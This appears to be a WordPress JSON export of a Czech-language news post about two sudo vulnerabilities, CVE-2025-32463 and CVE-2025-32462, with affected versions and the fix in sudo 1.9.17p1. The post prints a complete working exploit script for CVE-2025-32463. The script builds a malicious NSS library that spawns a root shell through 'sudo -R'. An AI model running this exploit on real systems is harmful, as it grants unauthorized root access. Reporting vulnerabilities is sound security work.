{"id":138584,"date":"2025-07-01T17:11:57","date_gmt":"2025-07-01T15:11:57","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimosti-v-utilite-sudo-pozvolyayushhie-poluchit-prava-root-v-sisteme"},"modified":"2025-07-01T17:11:57","modified_gmt":"2025-07-01T15:11:57","slug":"uyazvimosti-v-utilite-sudo-pozvolyayushhie-poluchit-prava-root-v-sisteme","status":"publish","type":"post","link":"https:\/\/prohoster.info\/cs\/blog\/news\/uyazvimosti-v-utilite-sudo-pozvolyayushhie-poluchit-prava-root-v-sisteme","title":{"rendered":"Zranitelnosti v utilit\u011b sudo, kter\u00e9 umo\u017e\u0148uj\u00ed z\u00edskat pr\u00e1va root v syst\u00e9mu","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Ve bal\u00ed\u010dku sudo, pou\u017e\u00edvan\u00e9m k organizaci prov\u00e1d\u011bn\u00ed p\u0159\u00edkaz\u016f jm\u00e9nem jin\u00fdch u\u017eivatel\u016f, byla zji\u0161t\u011bna zranitelnost (CVE-2025-32463), kter\u00e1 umo\u017e\u0148uje jak\u00e9mukoli neopr\u00e1vn\u011bn\u00e9mu u\u017eivateli prov\u00e9st k\u00f3d s pr\u00e1vy root, i kdy\u017e u\u017eivatel nen\u00ed uveden v konfiguraci sudoers. Na tento probl\u00e9m jsou citliv\u00e9 distribuce, kter\u00e9 pou\u017e\u00edvaj\u00ed konfigura\u010dn\u00ed soubor \/etc\/nsswitch.conf, nap\u0159\u00edklad byla prok\u00e1z\u00e1na mo\u017enost zneu\u017eit\u00ed zranitelnosti na Ubuntu 24.04 a Fedora 41. <\/p>\n

Zranitelnost se projevuje v konfiguraci v\u00fdchoz\u00edm zp\u016fsobem a byla potvrzena ve verz\u00edch sudo od 1.9.14 do 1.9.17 (potencion\u00e1ln\u011b se t\u00fdk\u00e1 v\u0161ech verz\u00ed od 1.8.33). Probl\u00e9m byl odstran\u011bn v aktualizaci sudo 1.9.17p1. Stav nov\u00e9 verze bal\u00ed\u010dku nebo p\u0159\u00edpravy opravy lze zkontrolovat v distribuc\u00edch na n\u00e1sleduj\u00edc\u00edch str\u00e1nk\u00e1ch (pokud je str\u00e1nka nedostupn\u00e1, to znamen\u00e1, \u017ee v\u00fdvoj\u00e1\u0159i distribuce se je\u0161t\u011b neza\u010dali probl\u00e9mu v\u011bnovat): Debian, Ubuntu, Fedora, SUSE\/openSUSE, RHEL, Gentoo a Arch (1, 2). <\/p>\n

Probl\u00e9m je zp\u016fsoben t\u00edm, \u017ee p\u0159i pou\u017eit\u00ed volby «-R» («—chroot») pro spu\u0161t\u011bn\u00ed p\u0159\u00edkaz\u016f v chrootov\u00e9m prost\u0159ed\u00ed s vybran\u00fdm u\u017eivatelsk\u00fdm ko\u0159enov\u00fdm adres\u00e1\u0159em se soubor \/etc\/nsswitch.conf na\u010d\u00edtal v kontextu nov\u00e9ho ko\u0159enov\u00e9ho adres\u00e1\u0159e, nikoli syst\u00e9mov\u00e9ho adres\u00e1\u0159e. Vzhledem k tomu, \u017ee u\u017eivatel m\u016f\u017ee pou\u017e\u00edt sv\u00e9 vlastn\u00ed adres\u00e1\u0159e jako ko\u0159enov\u00fd adres\u00e1\u0159 pro chroot, m\u016f\u017ee do n\u011bj um\u00edstit konfigura\u010dn\u00ed soubor nsswitch.conf. Kontrolou konfigura\u010dn\u00edho souboru na\u010d\u00edtan\u00e9ho subsyst\u00e9mem NSS (Name Service Switch) m\u016f\u017ee u\u017eivatel p\u0159idat do n\u011bj nastaven\u00ed, kter\u00e1 vedou k vol\u00e1n\u00ed dal\u0161\u00edch zpracovatel\u016f. Tyto zpracovatele na\u010d\u00edt\u00e1 NSS ve form\u011b sd\u00edlen\u00fdch knihoven, kter\u00e9 mohou b\u00fdt tak\u00e9 um\u00edst\u011bny v adres\u00e1\u0159i, kter\u00fd u\u017eivatel ovl\u00e1d\u00e1. Vlo\u017eil-li svou knihovnu, m\u016f\u017ee u\u017eivatel dos\u00e1hnout vykon\u00e1n\u00ed k\u00f3du s pr\u00e1vy root, proto\u017ee zpracov\u00e1n\u00ed NSS se prov\u00e1d\u00ed p\u0159ed sn\u00ed\u017een\u00edm privilegovan\u00fdch pr\u00e1v. <\/p>\n

P\u0159\u00edklad exploitu: #!\\\/bin\\\/bash STAGE=$(mktemp -d \\\/tmp\\\/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c<<EOF #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir(«\\\/»); execl(«\\\/bin\\\/bash», «\\\/bin\\\/bash», NULL); } EOF mkdir -p woot\\\/etc libnss_ echo «passwd: \\\/woot1337» > woot\\\/etc\\\/nsswitch.conf cp \\\/etc\\\/group woot\\\/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_\\\/woot1337.so.2 woot1337.c echo «woot!» sudo -R woot woot rm -rf ${STAGE?} <\/p>\n

Ve verzi sudo 1.9.17p1 byla tak\u00e9 odstran\u011bna dal\u0161\u00ed zranitelnost (CVE-2025-32462), kter\u00e1 umo\u017e\u0148ovala vykon\u00e1vat p\u0159\u00edkazy s pr\u00e1vy root, ale projevuje se pouze v konfigurac\u00edch sudoers, kde je parametr «host» nastaven na hodnotu odli\u0161nou od ALL nebo n\u00e1zvu aktu\u00e1ln\u00edho hostitele. Zranitelnost byla zp\u016fsobena chybou, kv\u016fli kter\u00e9 volba «-h» («—host») p\u016fsobila nejen v kombinaci s volbou «-l» («—list») pro v\u00fdpis privilegovan\u00fdch pr\u00e1v v\u00e1zan\u00fdch na hostitele, ale tak\u00e9 p\u0159i spu\u0161t\u011bn\u00ed p\u0159\u00edkaz\u016f. U\u017eivatel tak mohl p\u0159i vol\u00e1n\u00ed sudo uv\u00e9st jak\u00fdkoli hostitel a obej\u00edt omezen\u00ed pravidel sudoers v\u00e1zan\u00fdch na n\u00e1zev hostitele. <\/p>\n

Aby mohl u\u017eivatel prov\u00e9st \u00fatok, mus\u00ed b\u00fdt uveden v sudoers, nap\u0159\u00edklad pokud jsou v nastaven\u00edch uvedena «testuser testhost = ALL», mohl u\u017eivatel «testuser» zadat «sudo -h testhost» a spustit p\u0159\u00edkazy s pr\u00e1vy root na jak\u00fdchkoli hostitel\u00edch, nikoli pouze na hostiteli testhost. Konfigurace jako «testuser ALL = ALL» nebo bez explicitn\u00edch pravidel pro konkr\u00e9tn\u00edho u\u017eivatele nejsou t\u00edmto zranitelnost\u00ed dot\u010deny.
\n
Zdroj: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u043f\u0430\u043a\u0435\u0442\u0435 sudo, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u043c \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-32463), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043b\u044e\u0431\u043e\u043c\u0443 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442 \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 sudoers. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 \u0444\u0430\u0439\u043b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \/etc\/nsswitch.conf, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0432 Ubuntu 24.04 \u0438 Fedora 41. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043f\u043e […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-138584","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Zranitelnosti v utilit\u011b sudo, kter\u00e9 umo\u017e\u0148uj\u00ed z\u00edskat pr\u00e1va root v syst\u00e9mu | ProHoster","description":"V bal\u00ed\u010dku sudo, kter\u00fd se pou\u017e\u00edv\u00e1 k povolen\u00ed vykon\u00e1v\u00e1n\u00ed p\u0159\u00edkaz\u016f jm\u00e9nem jin\u00fdch u\u017eivatel\u016f, byla odhalena zranitelnost (CVE-2025-32463), kter\u00e1 umo\u017e\u0148uje jak\u00e9mukoli neopr\u00e1vn\u011bn\u00e9mu u\u017eivateli vykonat k\u00f3d s pr\u00e1vy root.","canonical_url":"https:\/\/prohoster.info\/cs\/blog\/news\/uyazvimosti-v-utilite-sudo-pozvolyayushhie-poluchit-prava-root-v-sisteme","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"cs_CZ","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 sudo, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 | ProHoster","og:description":"\u0412 \u043f\u0430\u043a\u0435\u0442\u0435 sudo, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u043e\u043c \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-32463), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043b\u044e\u0431\u043e\u043c\u0443 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.","og:url":"https:\/\/prohoster.info\/cs\/blog\/news\/uyazvimosti-v-utilite-sudo-pozvolyayushhie-poluchit-prava-root-v-sisteme","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2025-07-01T15:11:57+00:00","article:modified_time":"2025-07-01T15:11:57+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"138584","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":"2026-01-23 13:36:20","breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2026-01-23 13:36:20","updated":"2026-01-23 13:36:20","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/posts\/138584","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/comments?post=138584"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/posts\/138584\/revisions"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/media?parent=138584"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/categories?post=138584"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/cs\/wp-json\/wp\/v2\/tags?post=138584"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}